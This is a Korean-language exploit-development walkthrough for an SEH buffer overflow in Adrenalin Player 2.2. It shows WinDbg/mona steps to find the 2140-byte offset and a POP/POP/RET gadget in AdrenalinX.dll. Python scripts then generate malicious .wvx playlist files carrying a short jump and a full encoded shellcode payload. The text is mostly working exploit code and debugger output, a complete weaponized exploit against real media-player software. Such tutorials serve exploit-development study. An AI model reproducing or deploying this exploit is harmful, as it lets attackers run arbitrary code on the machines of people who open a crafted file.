아드레날린 플레이어 SEH Overflow
아드레날린 플레이어 2.2 버전에서 발견된 SEH Overflow를 알아보자. 실습은 Windbg 환경에서 진행하며 mona플러그인을 이용하여 먼저 패턴을 생성한다.
.load pykd
!py mona pc 30000
mona를 이용하여 생성한 패턴을 이용하여 SEH Overflow 필요 버퍼를 알아보자. 파이썬 스크립트를 이용하여 패턴을 내용으로 한 wvx 파일을 생성한다.
pattern_file = open("pattern.txt", 'r')
crash_file = open("01_crash.wvx",'w')
crash_file.write("{}".format(pattern_file.read()))
crash_file.close()
pattern_file.close()
# maximum pattern --> 20280
크래시가 발생하고 !exchain 명령어를 수행하면 SEH 핸들러 주소가 0x35744334로 덮어쓰여진 것을 확인할 수 있다.
0:000> !exchain
0018afa8: 35744334
Invalid exception stack at 74433374
mona를 이용하여 패턴을 확인한다.
!py mona po 74433374
- Pattern t3Ct (0x74433374) found in cyclic pattern at position 2140
2140만큼의 쓰레기 값을 생성하고 이어서 SEH Overflow 구문을 삽입한다.
예외 발생 시 예외 처리를 위한 스택 프레임이 생성되는 데 이때 Nseh는 esp+8에 위치하고 있다. 따라서 다음의 절차로 공격을 수행한다.
- SEH 핸들러를 POP / POP / RET 명령어로 덮어써서
esp+8에 위치한Nseh에 저장된 주소의 명령어를 실행하도록 한다.- 예시
- | 4 | 4 | Nseh | --> POP EAX --> | 4 | Nseh |
- | 4 | Nseh | --> POP EBX --> | Nseh |
- | Nseh | --> RETN --> Nseh 위치에 저장된 명령어 실행
- 예시
Nseh에 쉘 코드까지 도달하는short jmp명령어를 삽입한다.seh와seh뒤 버퍼 까지 무시되는 버퍼를 고려하여 쉘 코드 삽입
이제 mona를 이용하여 seh에 삽입할 POP / POP / RET 명령어를 검색해보자. 먼저 보호기법이 적용되지 않은 모듈을 찾고 해당 모듈에 찾고자하는 명령어가 존재하는 지 확인한다.
!py mona mod
출력 결과에서 보호기법이 미적용된 AdrenalinX.dll 모듈을 확인할 수 있다. 해당 모듈에서 사용하고자하는 명령어가 있는지 검색해보자.
!py mona findwild -s pop ebx#pop eax#ret -m AdrenalinX.dll
junk = 'A'*(2140)
nseh = '\xeb\x06\x90\x90'
seh = '\x39\xb1\x14\x10' # pop ebx # pop eax # retn --> 0x1014b139
# errorhandler stackframe --> | esp | 4 | nseh |
pad = '\x90'*2 # hide
bp = '\xcc'
shell = ("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")
crash_file = open("02_bp_shell.wvx",'w')
crash_file.write("{}".format(junk + nseh + seh + pad + bp + shell))
crash_file.close()
# Pattern 4Ct5 (0x35744334) found in cyclic pattern at position 2144
seh 핸들러 뒤 2 바이트 만큼 무시되는 버퍼가 있음이 확인되었으며 short jmp 시 6 바이트를 설정하면 명령어 구성을 위해 삽입한 `\x90\x90’과 뒤의 4 바이트를 뛰어넘어 쉘코드에 도달 가능함을 알 수 있다.
이제 불필요한 명령어를 제거하고 쉘 코드를 동작시켜보자.
junk = 'A'*(2140)
nseh = '\xeb\x06\x90\x90'
seh = '\x39\xb1\x14\x10' # pop ebx # pop eax # retn --> 0x1014b139
# errorhandler stackframe --> | esp | 4 | nseh |
pad = '\x90'*2 # hide
shell = ("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")
crash_file = open("03_shell.wvx",'w')
crash_file.write("{}".format(junk + nseh + seh + pad + shell))
crash_file.close()